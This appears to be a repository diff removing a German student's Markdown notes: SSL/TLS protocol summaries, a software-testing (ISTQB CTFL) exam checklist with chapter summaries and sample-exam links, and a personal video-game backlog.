- Ziel: **Ende-zu-Ende sichere Kommunikation** über TCP/IP.
|
||||
### Hauptfunktionen
|
||||
- **Datenverschlüsselung**
|
||||
- **Server-Authentifizierung**
|
||||
- **Nachrichtenintegrität (MAC / HMAC)**
|
||||
- **(Optional) Client-Authentifizierung**
|
||||
---
|
||||
## 🧱 PROTOKOLLARCHITEKTUR
|
||||
### SSL-Protokoll besteht aus:
|
||||
- **Handshake Protocol**: Aushandlung der Sicherheitsparameter
|
||||
- **Change Cipher Spec**: Aktivierung neuer Sicherheitsparameter
|
||||
- **Alert Protocol**: Fehler- und Warnmeldungen
|
||||
- **Record Protocol**: Verschlüsselung und MAC auf Anwendungsebene
|
||||
### Protokollstapel:
|
||||
SSL liegt zwischen TCP/IP und der Anwendungsschicht (z. B. HTTP, FTP).
|
||||
---
|
||||
## 🔁 VERBINDUNGSAUFBAU (SSL Handshake)
|
||||
### Ablauf
|
||||
1. **Client → Server**: `Client_Hello`
|
||||
- Protokollversion, Zufallswert, Session-ID, unterstützte Cipher Suites & Kompression
|
||||
|
||||
2. **Server → Client**: `Server_Hello`
|
||||
- Auswahl aus Vorschlägen + Server-Zertifikat (X.509)
|
||||
- optional: `Certificate_Request` → Client-Zertifikat
|
||||
- `Server_Hello_Done`
|
||||
|
||||
3. **Client → Server**:
|
||||
- Optional: `Certificate`, `Certificate_Verify` (Authentifizierung)
|
||||
- `Client_Key_Exchange`: Pre-Master Secret (verschlüsselt mit Server-Public-Key)
|
||||
- `Change_Cipher_Spec`
|
||||
- `Finished`: verifizierbarer Hash
|
||||
|
||||
4. **Server → Client**:
|
||||
- `Change_Cipher_Spec`
|
||||
- `Finished`
|
||||
|
||||
### Wichtig:
|
||||
- **Pre-Master Secret → Master Secret (384 Bit) → Key Block**
|
||||
- **Schlüssel werden symmetrisch genutzt**
|
||||
---
|
||||
## 🗝️ SCHLÜSSELERZEUGUNG
|
||||
Aus dem **Master Secret** werden erzeugt:
|
||||
- MAC-Schlüssel (Client/Server)
|
||||
- Verschlüsselungsschlüssel
|
||||
- Initialisierungsvektoren (IVs)
|
||||
**Aufteilung (Key Block)**:
|
||||
- `Client_Write_MAC_Secret`
|
||||
- `Server_Write_MAC_Secret`
|
||||
- `Client_Write_Key`
|
||||
- `Server_Write_Key`
|
||||
- `Client/Server_Write_IV`
|
||||
---
|
||||
## 📄 ZUSAMMENHÄNGE: SESSION & VERBINDUNG
|
||||
|Begriff|Beschreibung|
|
||||
|---|---|
|
||||
|**Session**|Kommunikationskanal, definiert durch Handshake|
|
||||
|**Verbindung**|Instanz mit eigener Schlüsselverwendung|
|
||||
- Mehrere Verbindungen können zu einer Session gehören.
|
||||
- Session-ID dient zur Wiederaufnahme (Session Resumption).
|
||||
---
|
||||
## 🧾 SSL RECORD LAYER
|
||||
### Verarbeitungsschritte
|
||||
1. Fragmentierung (max. 16 KB)
|
||||
2. **Optionale Kompression**
|
||||
3. **MAC-Berechnung** (z. B. mit SHA/MD5)
|
||||
4. **Verschlüsselung** mit vereinbarten Algorithmen
|
||||
5. Versand
|
||||
### Empfängerseite:
|
||||
- Umgekehrte Schritte (Decryption → MAC-Prüfung → Dekompression)
|
||||
---
|
||||
## ⚙️ WICHTIGE PROTOKOLLDETAILS
|
||||
- **Alert Protocol**: Meldet Fehler (z. B. Handshake Failure)
|
||||
- **Cipher Suites** enthalten:
|
||||
- Verschlüsselungsalgorithmus (z. B. AES, RC4, 3DES)
|
||||
- MAC-Algorithmus (MD5, SHA-1)
|
||||
- Schlüsselaustausch (z. B. RSA, Diffie-Hellman)
|
||||
- **Wiederverwendbare Sitzungen** verbessern Performance:
|
||||
- Session-ID beim `Client_Hello` senden
|
||||
- Bei Erfolg: `Server_Hello` mit derselben Session-ID
|
||||
---
|
||||
## 📦 PORTS FÜR SSL/TLS (laut IANA)
|
||||
|Dienst|SSL-Port|
|
||||
|---|---|
|
||||
|HTTPS|443|
|
||||
|SMTP|465|
|
||||
|POP3|995|
|
||||
|IMAP|993|
|
||||
|NNTP|563|
|
||||
|LDAP|636|
|
||||
|FTP|990|
|
||||
---
|
||||
## ✅ ZUSAMMENFASSUNG FÜR DIE KLAUSUR
|
||||
- TLS = Weiterentwicklung von SSL
|
||||
- Ziel: Verschlüsselung, Authentifizierung, Integrität
|
||||
- SSL-Handshake:
|
||||
- Aushandlung der Cipher Suites
|
||||
- Authentifizierung via Zertifikaten (X.509)
|
||||
- Session Keys für symmetrische Verschlüsselung
|
||||
- SSL ist **applikationsunabhängig**
|
||||
- **SSL Record Layer** = zentrale Schicht zur Absicherung der Nutzdaten
|
||||
@@ -1,40 +0,0 @@
|
||||
- [ ] Subnautica Below Zero #Open_World_Survival_Craft #Survival #Underwater
|
||||
- [ ] Hotline Miami #Violent #Indie #Gore #Action #Great_Soundtrack
|
||||
- [ ] Metaphor (unfinished) #RPG #JRPG #Turn_Based_Combat #Anime #3D
|
||||
- [ ] Bioshock 1 #FPS #Story_Rich #Atmospheric #Horror #Action
|
||||
- [ ] Bioshock 2 #FPS #Singleplayer #Story_Rich #Horror #Action
|
||||
- [ ] Wolfenstein: The New Order #FPS #Action #Shooter #Alternate_History #Gore
|
||||
- [ ] Wolfenstein: The Old Blood #FPS #Action #World_War_II #Alternate_History
|
||||
- [ ] Doom 64 #Action #FPS #Classic #1990s #Retro #Gore
|
||||
- [ ] Doom 1 #Action #FPS #Classic #Great_Soundtrack
|
||||
- [ ] Doom 2 #Action #FPS #Classic #Great_Soundtrack
|
||||
- [ ] The Witcher #RPG #Fantasy #Story_Rich #Mature #Singleplayer
|
||||
- [ ] The Witcher 2 #RPG #Fantasy #Story_Rich #Mature #Singleplayer
|
||||
- [ ] The Witcher 3 #Open_World #RPG #Story_Rich #Atmospheric
|
||||
- [ ] Dave the Diver #Pixel_Graphics #Casual #Managment #Adventure
|
||||
- [ ] Serial Cleaner #Stealth #Action #Indie #2D #Gore #Blood
|
||||
- [ ] Portal Revolution #Puzzle #Singleplayer #Mod #First_Person #Action
|
||||
- [ ] Don't Starve #Survival #Open_World_Survival_Craft #Crafting #2D
|
||||
- [ ] Prey #Sci_fi #Immersive_Sim #Space #Singleplayer
|
||||
- [ ] System Shock #Action #Immersive_Sim #Cyberpunk #Adventure
|
||||
- [ ] Celeste #Precision_Platformer #Difficult #Pixel_Graphics #2D
|
||||
- [ ] Black Mesa #FPS #Remake #Action #Sci_fi #First_Person
|
||||
- [ ] Borderlands #FPS #Co-op #Shooter #First_Person #Loot
|
||||
- [ ] Borderlands the pre sequel
|
||||
- [ ] NFS Heat #Racing #Multiplayer #Open_World #Driving #PvP
|
||||
- [ ] NFS Unbound #Racing #Multiplayer #Open_World #Driving #Music
|
||||
- [ ] BPM #FPS #Rythm #Roguelike #Action #Indie
|
||||
- [x] Blasphemous #Metroidvania #Souls-like #Pixel_Graphics #Gore
|
||||
- [ ] Blasphemous 2 #Combat #Fantasy #Metroidvania #Souls-like #2D
|
||||
- [ ] Elden Ring #Souls-like #Open_World #Dark_Fantasy #RPG
|
||||
- [ ] Bully #Open_World #Action #Adventure #Third_Person
|
||||
- [ ] Crysis I #Action #FPS #Shooter #Sci_fi #Stealth #Aliens
|
||||
- [ ] Crysis II #Action #FPS #Shooter #Sandbox #First_Person
|
||||
- [ ] Crysis III #Action #FPS #Shooter #Aliens #Sci_fi #Sandbox
|
||||
- [ ] Kingdom Come Deliverance #Medieval #RPG #Open_World #Singleplayer
|
||||
- [ ] The Last of us Part 1 #Story_Rich #Post-apocalyptic #Zombies #Shooter
|
||||
- [ ] Shadow of Mordor #Open_World #Action #Fantasy #Adventure #RPG
|
||||
- [ ] Shadow of War #Open_World #Action #RPG #Singleplayer #Violent
|
||||
- [ ] Monster Hunter Rise #Action #Online_Co-op #Character_Customization
|
||||
- [ ] Thief #Stealth #Action #First_Person #Adventure #Dark
|
||||
- [ ] Metal Gear Solid V: The Phantom Pain #Stealth #Open_World #Action #Story_Rich #Dark
|
||||
@@ -1,186 +0,0 @@
|
||||
Softwaretest (Was ist klausurrelevant?)
|
||||
Klausur besteht aus zwei Teilen:
|
||||
Ankreuzen (30 Fragen, 1 Punkt, immer nur eine richtig)
|
||||
Freitextaufgaben (Begründen oder unterscheiden usw. aber immer nur kurze Texte, zwischen 2 und 6 Punkte pro Aufgabe)
|
||||
14 - 15:30 am 15.07.
|
||||
|
||||
Kapitel 0
|
||||
Folien:
|
||||
Die Tatsache das es unmöglich ist eine Software vollständig zu testen und Fehlerfreiheit zu garantieren.
|
||||
|
||||
Kapitel 1
|
||||
Folien:
|
||||
- [x] 7 Fehler und Mangel Unterschied
|
||||
- [x] 12 Begriffe und deren Zusammenhang
|
||||
- [x] 15 Validierung Verifikation
|
||||
- [x] 17 Unterscheidungen zwischen funktionalen- und nichtfunktionalen Anforderungen sollte klar sein und mit Beispielen belegen
|
||||
- [x] 17 - … Qualitätsmerkmale Beispiele benennen können oder was dazu sagen können (aber nicht im Detail) Nur eine Vorstellung davon haben, was das bedeutet.
|
||||
- [x] 30 Zwischen analytischer- und konstruktiver Qualitätssicherung unterscheiden können.
|
||||
- [x] 33 Grundsätze kennen, nicht auswendig wiedergeben aber zumindest verstehen was damit gemeint ist.
|
||||
- [x] 48 Faktoren die den Testprozess beeinflussen können (Keine Detailfragen)
|
||||
- [x] 50 Rückverfolgbarkeit (Horizontal und Vertikal)
|
||||
- [x] 51 Aktivitäten des Testprozesses sollten klar sein und wer das durchführt.
|
||||
- [x] 54 Grob wissen was die Testüberwachung und -Steuerung beinhaltet. Sachen einordnen können.
|
||||
- [x] Folgefolien: Grob verstehen was die einzigen Aktivitäten sind.
|
||||
- [x] 69 Da ist sie ja wieder die Rückverfolgbarkeit
|
||||
- [x] 73 Unterschied zwischen abstrakten und konkreten Testfällen (Testentwurf immer abstrakt bsp. Äquivalenzklassen, Realisierung ist dann konkret weil da müssen wir dann ja Werte einfügen)
|
||||
- [x] 74 Testspezifikation (Wie viele Testfälle brauchen wir hier)
|
||||
- [x] 76 Das Testorakel
|
||||
- [ ] 81 Entwicklertests bei Psychologie des Testens
|
||||
- [ ] 82 Vor und Nachteile vom unabhängigen Testen nochmal durchlesen und verstehen.
|
||||
- [ ] 83 Abstufungen
|
||||
- [ ] 91 Fragen sollte man beantworten können (Sind da wirklich alle wichtig?) Der Begriff Fehlermaskierung sollte klar sein genauso wie der Unterschied zwischen Testen und Debugging.
|
||||
|
||||
Kapitel 2
|
||||
Folie:
|
||||
- [x] 10 Verschiedene Teststufen sollten bekannt sein.
|
||||
- [x] 15 Validierung
|
||||
- [x] 16 Verifizierung (Bilder oben in der Ecke sind falschrum. Validierung links, Verifizierung rechts)
|
||||
- [x] 17 Nochmal Unterschied zwischen Validierung und Verifizierung
|
||||
- [x] 25 Continuous Integration (wissen was das ist)
|
||||
- [x] Auf agiles Testen wird nicht eingegangen
|
||||
- [x] 27 Testaktivitäten, Tester früher einbinden
|
||||
- [x] Folgende Folien Verschiedene Teststufen kennen, Testbasen kennen
|
||||
- [x] 40 Isoliert wird getestet, Test driven Development
|
||||
- [x] 51 Ingegrationstest Fehlerzustände und Fehlerwirkungen nochmal lesen und verstehen (Vom Prinzip her)
|
||||
- [x] 56 Nochmal das Gleiche nur im Unit Test
|
||||
- [x] 71 Systemtest, Betrachtung des System als ganzen
|
||||
- [x] 73 Testziele, welche Aspekte sind relevant?
|
||||
- [x] 76 Fehlerzustände und Fehlerwirkungen lesen
|
||||
- [x] 82 Verständnis für nichtfunktionale Anforderungen
|
||||
- [x] 91 Einfach nochmal durchlesen (eventuell keine Frage dazu, aber kann man mit nachdenken ein Beispiel benennen)
|
||||
- [x] 95 Spezielle Form des Systemtests
|
||||
- [x] 106 Unterschied Alpha und Beta Test (Alpha intern, Beta - Software wird nach außen gegeben)
|
||||
- [x] 111 Funktionale, Nichtfunktionale, Strukturelle und Änderungsbezogene Tests. Fehlernach und Regressionstest
|
||||
- [x] 112 Teststufen und Testarten
|
||||
- [x] 113 Funktionale Tests
|
||||
- [x] 114 Nichtfunktionale Tests
|
||||
- [x] 115 White-Box Tests
|
||||
- [ ] 123 Testarten und Teststufen (Bankanwendung mal durchlesen)
|
||||
- [ ] Verschiedene Anlässe für Wartungen
|
||||
- [ ] 130 Typische Wartungsanlässe sollen grob klar sein. Additive Wartung und andere drei Begriffe sollten klar sein.
|
||||
- [ ] 140 Könnte man sich nochmal anschauen um einen Überblick zu bekommen
|
||||
- [ ] 142 Fragen sollten beantwortet werden können.
|
||||
|
||||
Kapitel 3
|
||||
Folie:
|
||||
- [ ] 6 Software-Qualitätssicherung
|
||||
- [ ] 18 Grundlegende Arbeitsschritte Reviews sollte so wiedergegeben werden können.
|
||||
- [ ] 20 Sollte soweit klar sein.
|
||||
- [ ] 27 Grob was da steht aber nicht jedes Detail
|
||||
- [ ] 39 Ablauf eines Reviewprozesses sollte grundlegend klar sein.
|
||||
- [ ] 41 Rollen
|
||||
- [ ] 42 Reviewarten und sortieren können und grob wissen was das jeweils bedeutet und wo die Unterschiede sind. (Wenn ein Reviewprozess sehr formell durchgeführt wird, was könnte das für ein Prozess sein?)
|
||||
- [ ] 56 Reviewarten zusammengefasst sollte verstanden werden. Alles außer Frage 3 wichtig
|
||||
- [ ] 84 Datenflussanalyse und
|
||||
- [ ] 89 Datenflussanomalien kennen und wissen was das ist (benennen)
|
||||
- [ ] 94 Begriffe verstehen und erklären können
|
||||
- [ ] 98 Zyklomatische Zahl
|
||||
- [ ] 99 Maßtypen
|
||||
- [ ] 100 Wie berechnet man die zyklomatische Zahl
|
||||
|
||||
Kapitel 4.1
|
||||
Folie:
|
||||
- [ ] 5 Blackbox von Whitebox unterscheiden können
|
||||
- [ ] 7 Statischen vom Dynamischen Test abgrenzen können.
|
||||
- [ ] 8 Begriffe sollten alle klar sein
|
||||
- [ ] 13 Rückverfolgbarkeit
|
||||
- [ ] 17 Aufbau eines Testrahmens
|
||||
- [ ] 18 Begriffe
|
||||
- [ ] 24 Blackbox
|
||||
- [ ] 44 Heuristiken und wie man damit die Testfälle minimiert.
|
||||
- [ ] 64 Begriffe
|
||||
- [ ] 66 Zustandsübergangstabelle sollte klar sein
|
||||
- [ ] 69 Der Ablauf sollte klar sein
|
||||
- [ ] 85 Entscheidungstabellentest Beispiel
|
||||
- [ ] 109 Fragen beantworten können
|
||||
|
||||
Kapitel 4.1
|
||||
Folie:
|
||||
- [ ] 3 Begriffe und Zusammenhänge verstehen
|
||||
- [ ] 5 Blackbox Whitebox immer in Kombination, Fokus auf Blackbox. Erfahrungsbasierte können zusätzlich gemacht werden als Ergänzung
|
||||
- [ ] Kontrollflusstest und Bedingungstest sollten klar sein.
|
||||
- [ ] 7 Das ist sowieso wichtig
|
||||
- [ ] 9 Begriffe
|
||||
- [ ] 10 Arten von Kontrollflusstests und welchen Sinn die haben (wichtig) -> in Folie 11 besser dargestellt.
|
||||
- [ ] Anweisungsüberdeckung und Entscheidungsüberdeckung
|
||||
- [ ] 13 Sollte klar sein, wie sie sich unterscheiden.
|
||||
- [ ] 16/17 Anweisungsüberdeckung und was man da beachten sollte - Wenn Coverage nicht erreicht wird, dann müssen neue Tests geschrieben werden.
|
||||
- [ ] 30 Grenze-Inneres-Überdeckung
|
||||
- [ ] 33 Pfadüberdeckung - theoretische Metrik...
|
||||
- [ ] 39 Instrumentierung sollte klar sein.
|
||||
- [ ] 41 Datenflusstest - Definitionen, c-user und p-use Unterschiede sollten klar sein.
|
||||
- [ ] 47 Bedingungstest - und die anderen die vorher/nacher sind sollte man auch kennen. Unterscheidungen sollen klar sein und auch Beispiel sollte man geben können?
|
||||
- [ ] 49 und fortfolgend, Verschiedene Arten von Bedingungsüberdeckung sollten klar sein.
|
||||
- [ ] 58 Lazy Evaluation sollte erklärt werden können und was das für die Praxis bedeutet.
|
||||
- [ ] 61 Mächtigkeit der White-Box-Testverfahren (Welcher der Aussagen ist richtig) - Prinzip soll verstanden sein.
|
||||
- [ ] 65/66 Erfahrungsbasierte Testverfahren
|
||||
- [ ] 67 Intuitive Testfallermittlung
|
||||
- [ ] 69 Exploratives Testen - Keine Details fragen
|
||||
- [ ] 73 Begriffe sollten klar sein.
|
||||
- [ ] Nur auf höherer Ebene, nicht auf Unit-Ebene
|
||||
- [ ] 83 Zusammenfassung dynamischer Tests
|
||||
- [ ] Und dann halt die Zusammenfassung von dem Kapitel kann man sich am Ende des Foliensatzes auch nochmal anschauen.
|
||||
|
||||
Kapitel 5
|
||||
Folie:
|
||||
- [ ] 3 Was man nach dem Kapitel wissen sollte.
|
||||
- [ ] 8 Vor und Nachteile des unabhängigen Testen
|
||||
- [ ] 15 Aufgaben von Mitarbeiterqualifikationen einzelne Begriffe kennen.
|
||||
- [ ] 17/18/19/20 Aufgabenunterteilung sollte bekannt sein. Unterschiede sollen klar sein.
|
||||
- [ ] 21 Aufgaben des Testers
|
||||
- [ ] 26 Wann soll mit dem Testen begonnen werden?
|
||||
- [ ] 28 Aktivitäten der Testplanung - Eine Vorstellung davon haben, was das ist.
|
||||
- [ ] 33 Soll klar sein
|
||||
- [ ] 34 Sollte klar sein
|
||||
- [ ] 37 Das Bild fast die Einflussfaktoren einmal ganz gut zusammen.
|
||||
- [ ] 45 Fragen sollten beantwortet werden können. (Wie in jedem Kapitel, sind gut um sich auf die Prüfung vorzubereiten)
|
||||
- [ ] 50 Schätzung des Testaufwands
|
||||
- [ ] 51 und folgend: Grob die Verfahren kennen, aber muss nicht auswendig gelernt werden. Begriffe kennen, unterscheiden können.
|
||||
- [ ] 59 Testmetriken - Fehlerbasierte und Testfallbasierte Metriken
|
||||
- [ ] 61/62 Begriffe sollten klar sein und soll erklärt werden können, was damit gemeint ist.
|
||||
- [ ] 64 Sinn sollte klar sein
|
||||
- [ ] 67 Eingangs- und Endekriterien sollen klar sein.
|
||||
- [ ] 71 Testfortschritts- und Testabschlussbericht wissen was das ist
|
||||
- [ ] 73 ISO-Norm kennen, aber halt nur erklären können und nicht auswendig
|
||||
- [ ] 74 Sollte klar sein was da steht.
|
||||
- [ ] 75 Teststeuerung, Punkte nochmal durchlesen zum verinnerlichen was für Maßnahmen zur Teststeuerung man machen kann.
|
||||
- [ ] 82 Gleichung kennen und Unterscheidung zwischen Produkt und Projektrisiken kennen.
|
||||
- [ ] 89 Produktrisiken
|
||||
- [ ] 97 Risikoorientierte Testplanung Tabelle mit den Inhalten verstehen. "Zahlen die da genannt werden sind haarsträubend"
|
||||
- [ ] 99 Fragen beantworten können
|
||||
- [ ] 101 Fehler- und Abweichungsmanagement
|
||||
- [ ] 102 Testprotokoll: Ursachenalayse ist Aufgabe der Entwickler
|
||||
- [ ] 103 Fehlermeldung Grundprinzip Ziele sollte man verstanden haben.
|
||||
- [ ] 105 Fehlerbericht - einheitliches Schema kennen.
|
||||
- [ ] 109 Bedeutung der Klassen mal anschauen und kennen.
|
||||
- [ ] 110 Priorität für die auf 109 beschriebenen Klassen
|
||||
- [ ] 112 Fehlerstatusmodell
|
||||
- [ ] 121 Begriffe kennen und Unterschiede kennen
|
||||
- [ ] 125/126 Fragen sollte man beantworten können.
|
||||
- [ ] 151 Fehler und Folgefehler
|
||||
- [ ] 155 Diese Folien mal merken
|
||||
|
||||
Kapitel 6
|
||||
Folie:
|
||||
- [ ] 6 Werkzeugunterstützung für das Testen (Bild betrachten)
|
||||
- [ ] 7 Bild nochmal
|
||||
- [ ] 11-14 Wichtig sind: Fehlermanagementwerkzeuge, Anforderungsmanagement, Fehlermanagementwerkezuge,
|
||||
- [ ] 16 Typen von Testwerkzeugen
|
||||
- [ ] 17 Review Werkzeuge
|
||||
- [ ] 18 Statische Analysewerkzeuge
|
||||
- [ ] 27-29 Testausführungswerkzeuge - 28 Unten die Unterschiedlichen Ansätze zur Automatisierung der Testdurchführung sollen bekannt sein. - Komparatoren uns sowas 29 soll auch bekannt sein.
|
||||
- [ ] 30 Ausführung und Protokollierung Bild mal anschauen
|
||||
- [ ] 31/32 Capture/Replay-Werkzeuge, sollte bekannt sein.
|
||||
- [ ] 35 Mal anschauen
|
||||
- [ ] 36 Überdeckungswerkzeuge
|
||||
- [ ] 39 Simulatoren
|
||||
- [ ] 48 Werkzeuge für Gebrauchstauglichkeitstest
|
||||
- [ ] 51 Werkzeuge für IT-Sicherheitstest
|
||||
- [ ] 57 Risiken von Testwerkzeugen ("Vielleicht könnten ein zwei Beispiele erfragt werden")
|
||||
- [ ] 59 Lernkurveneffekt
|
||||
- [ ] 62 Einführungsreihenfolge vielleicht ganz gut zu wissen
|
||||
- [ ] 65 Schritte sollen bekannt sein und was da zu tun ist.
|
||||
- [ ] 71 Grafik mal anschauen
|
||||
- [ ] 76 Vielleicht einmal durchlesen und verstehen um was es da geht.
|
||||
- [ ] 81/82 Fragen beantworten können (Statische Analyse, welche... "Die Frage könnte drann kommen") 82 - Vielleicht zwei Beispiele benennen können
|
||||
@@ -1,13 +0,0 @@
|
||||
# Durchlesen der Zusammenfassungen
|
||||
- [ ] Kap 0
|
||||
- [ ] Kap 1
|
||||
- [ ] Kap 2
|
||||
- [ ] Kap 3
|
||||
- [ ] Kap 4-1
|
||||
- [ ] Kap 4-2
|
||||
- [ ] Kap 5
|
||||
- [ ] Kap 6
|
||||
|
||||
## Bearbeitung der Aufgaben
|
||||
|
||||
## Zusammensuchen von Klausuren und Tests
|
||||
@@ -1,5 +0,0 @@
|
||||
- Stumpfes auswendiglernen ist nicht
|
||||
- Begrifflichkeiten und logik müssen sitzen
|
||||
|
||||
- blackbox first, danach whitebox (um kenntnisse von internen vorg. zu meiden
|
||||
- )
|
||||
@@ -1,23 +0,0 @@
|
||||
## English
|
||||
|
||||
https://www.istqb.org/wp-content/uploads/2024/11/ISTQB_CTFL_v4.0_Sample-Exam-A-Questions_v1.6.pdf
|
||||
|
||||
https://isqi.org/media/5d/9d/2c/1734010921/ISTQB_CTFL40_Sample-Exam-Questions_SET-B_v1.3.2_GTB-edition_engl_EN_.pdf
|
||||
|
||||
https://www.gtb.de/wp-content/uploads/2023/11/ISTQB_CTFL40_Sample-Exam-Questions_SET-A_v2.1_engl.pdf
|
||||
|
||||
https://www.processexam.com/files/processexam/download/CTFL-ISTQB-Certified-Tester-Foundation-Level.pdf
|
||||
|
||||
https://astqb.org/assets/documents/ISTQB_CTFL_Sample-Exam-Answers_v4.0.pdf
|
||||
|
||||
https://isqi.org/media/69/47/e5/1734010610/ISTQB_CTFL40_Sample-Exam-Answers_SET-A_v2.1_GTB-edition_engl_EN_.pdf
|
||||
|
||||
https://www.gtb.de/wp-content/uploads/2024/09/ISTQB_CTFL40_Sample-Exam-Questions_SET-E_v1.0_GTB-edition_engl.pdf
|
||||
|
||||
https://isqi.org/media/5d/9d/2c/1734010921/ISTQB_CTFL40_Sample-Exam-Questions_SET-B_v1.3.2_GTB-edition_engl_EN_.pdf
|
||||
## German
|
||||
https://isqi.org/media/8a/d4/a5/1713444247/GTB-CTFL-AcT_Sample-Exam-Answers_v2019_DE_.pdf
|
||||
|
||||
https://assets.brightest.org/media/resources/ISTQB_CTFL_2018_Sample_Exam_Questions_German.pdf
|
||||
|
||||
https://swisstestingboard.org/wp-content/uploads/2024/11/GTB-CTFL-FA_2015A_Sample_Exam_Paper_v20_DE.pdf
|
||||
@@ -1,97 +0,0 @@
|
||||
## 🎯 ZIELE DER LEHRVERANSTALTUNG
|
||||
|
||||
- Vermittlung von **Grundlagen im Softwaretesten**
|
||||
- Verständnis für **Begriffe, Aufgaben, Methoden & Verfahren**
|
||||
- Vorbereitung auf die **CTFL-Prüfung** (international anerkannt)
|
||||
|
||||
---
|
||||
|
||||
## 🧪 WARUM SOFTWARETEST?
|
||||
|
||||
### Beispiele schwerwiegender Softwarefehler:
|
||||
|
||||
- ❌ Ariane 5: Absturz durch Reuse fehlerhafter Lageregelungssoftware
|
||||
- ❌ T-Mobile (2009): Netzstörung durch Fehler im HLR
|
||||
- ❌ Deutsche Bank / BAföG / GM / Roche: Fehler mit realen Konsequenzen
|
||||
|
||||
➡️ Softwarefehler führen zu:
|
||||
|
||||
- **wirtschaftlichen Schäden**
|
||||
- **Lebensgefahr (z. B. Medizintechnik, Automotive)**
|
||||
- **Imageverlust**
|
||||
|
||||
---
|
||||
|
||||
## 💥 BEGRIFFE: Fehler, Bug, Defekt
|
||||
|
||||
- **Fehler (Defect)**: Abweichung vom erwarteten Verhalten
|
||||
- **Bug**: oft als Synonym genutzt
|
||||
- **Erster dokumentierter Bug**: Motte im Relay (1947)
|
||||
|
||||
---
|
||||
|
||||
## 🧠 TESTBARENGRUNDLAGEN
|
||||
|
||||
- Vollständiges Austesten ≠ realistisch möglich
|
||||
- Beispiel 1: 3 Eingabewerte à 16 Bit → 2⁴⁸ Kombinationen → **ca. 90 Jahre**
|
||||
- Beispiel 2: Schleifen + Verzweigungen → 10¹⁴ Testfälle → **38 Jahre**
|
||||
|
||||
➡️ **Testen ist selektiv & risikobasiert notwendig!**
|
||||
|
||||
---
|
||||
|
||||
## 🔍 TESTKATEGORIEN (am Beispiel „Dreieckprogramm“)
|
||||
|
||||
### Testziele:
|
||||
|
||||
- **Funktionalität prüfen**: korrektes Verhalten bei Eingaben
|
||||
- **Fehlerhafte Eingaben erkennen**: negative Zahlen, zu viele/wenige Werte etc.
|
||||
- **Grenzwerte testen**: z. B. `0`, `Max_Int`
|
||||
|
||||
### Beispiel-Testfälle:
|
||||
|
||||
- Gleichseitig: 2,2,2
|
||||
- Ungleichseitig: 2,3,4
|
||||
- Ungültig: -5, 0, Zeichen, zu viele Werte
|
||||
- Spezialfälle: Kombinationen nahe Grenzwerten
|
||||
|
||||
➡️ **Testdaten ≠ zufällig**, sondern **gezielt konstruiert**
|
||||
|
||||
---
|
||||
|
||||
## 🚗 PARALLELEN ZUR INDUSTRIE
|
||||
|
||||
**Automobilindustrie**:
|
||||
|
||||
- Komponententest → Integrationstest → Systemtest → Abnahmetest → Stresstest
|
||||
|
||||
➡️ Übertragbar auf Software: **Teststufen & strukturiertes Vorgehen**
|
||||
|
||||
---
|
||||
|
||||
## 💬 FAZIT / MERKSPRÜCHE
|
||||
|
||||
- **„Testen zeigt die Anwesenheit von Fehlern, nicht ihre Abwesenheit.“**
|
||||
- **„Ein Test ohne definiertes Ziel ist Zeitverschwendung.“**
|
||||
- **„Keine Software ist fehlerfrei.“**
|
||||
- **„Vollständiges Austesten ist meist unmöglich.“**
|
||||
|
||||
---
|
||||
|
||||
## 📚 LITERATUR & WEITERFÜHRENDES
|
||||
|
||||
- Lehrbuch: **Spillner/Linz** – _Basiswissen Softwaretest_
|
||||
- Weitere: Beizer, Myers, Liggesmeyer, TMap, ISO 29119
|
||||
- Fachzeitschriften & Konferenzen: _GTB_, _EuroSTAR_, _ICST_
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE KERNAUSSAGEN
|
||||
|
||||
|Thema|Prüfungstauglicher Merksatz|
|
||||
|---|---|
|
||||
|Fehlerauswirkungen|Kleine Fehler können große Folgen haben|
|
||||
|Austestbarkeit|Testabdeckung muss begrenzt & gezielt sein|
|
||||
|Dreieck-Programm|Guter Einstieg zur **Testfallerstellung**|
|
||||
|Zertifizierung|ISTQB CTFL ist international anerkannt|
|
||||
|Test ist wichtig|Auch einfache Programme sind schwer zu testen|
|
||||
@@ -1,88 +0,0 @@
|
||||
## 📘 KAPITEL 1: GRUNDLAGEN DES TESTENS
|
||||
|
||||
---
|
||||
|
||||
### 1.1 Warum ist Testen notwendig?
|
||||
|
||||
- Softwarefehler können **Kosten, Sicherheitsprobleme, Rufschädigung** verursachen.
|
||||
- Gründe für Fehler:
|
||||
- Missverständnisse, Zeitdruck, komplexe Systeme, neue Technologien.
|
||||
- **Testen reduziert Risiken**, aber **kann Fehler nicht vollständig beseitigen**.
|
||||
|
||||
---
|
||||
|
||||
### 1.2 Was ist Testen?
|
||||
|
||||
- Testen = **Planung, Vorbereitung, Durchführung & Bewertung** von Softwaretests.
|
||||
- Ziel:
|
||||
- Fehler finden
|
||||
- Vertrauen schaffen
|
||||
- Konformität mit Anforderungen prüfen
|
||||
- Grundlage für Qualität liefern
|
||||
|
||||
---
|
||||
|
||||
### 1.3 Allgemeine Testziele
|
||||
|
||||
|Zieltyp|Beschreibung|
|
||||
|---|---|
|
||||
|**Fehlervorbeugung**|Schon in frühen Phasen vermeiden|
|
||||
|**Fehlererkennung**|Möglichst früh entdecken|
|
||||
|**Verifikation**|Korrektheit prüfen: „bauen wir es richtig?“|
|
||||
|**Validierung**|Zweck prüfen: „bauen wir das Richtige?“|
|
||||
|
||||
---
|
||||
|
||||
### 1.4 Testen und Debuggen
|
||||
|
||||
- **Testen**: Fehler _finden_
|
||||
- **Debuggen**: Fehler _analysieren und beheben_
|
||||
|
||||
➡️ Zwei **komplementäre Aktivitäten** im Lebenszyklus
|
||||
|
||||
---
|
||||
|
||||
### 1.5 Sieben Prinzipien des Testens (💡 Prüfungsrelevant)
|
||||
|
||||
1. **Testen zeigt Anwesenheit von Fehlern, nicht deren Abwesenheit**
|
||||
2. **Vollständiges Testen ist nicht möglich**
|
||||
3. **Frühes Testen spart Zeit und Geld**
|
||||
4. **Fehlerhäufung in bestimmten Bereichen (Pareto-Prinzip)**
|
||||
5. **Testwiederholungen → Testfälle anpassen (Testfallverfall)**
|
||||
6. **Testen ist kontextabhängig (z. B. sicherheitskritisch vs. Webshop)**
|
||||
7. **Trugschluss Fehlerfreiheit ≠ Gebrauchstauglichkeit**
|
||||
|
||||
---
|
||||
|
||||
### 1.6 Testprozess (Phasenmodell)
|
||||
|
||||
1. **Testplanung und -steuerung**
|
||||
2. **Testanalyse und -design**
|
||||
3. **Testrealisierung und -durchführung**
|
||||
4. **Testauswertung und -abschluss**
|
||||
|
||||
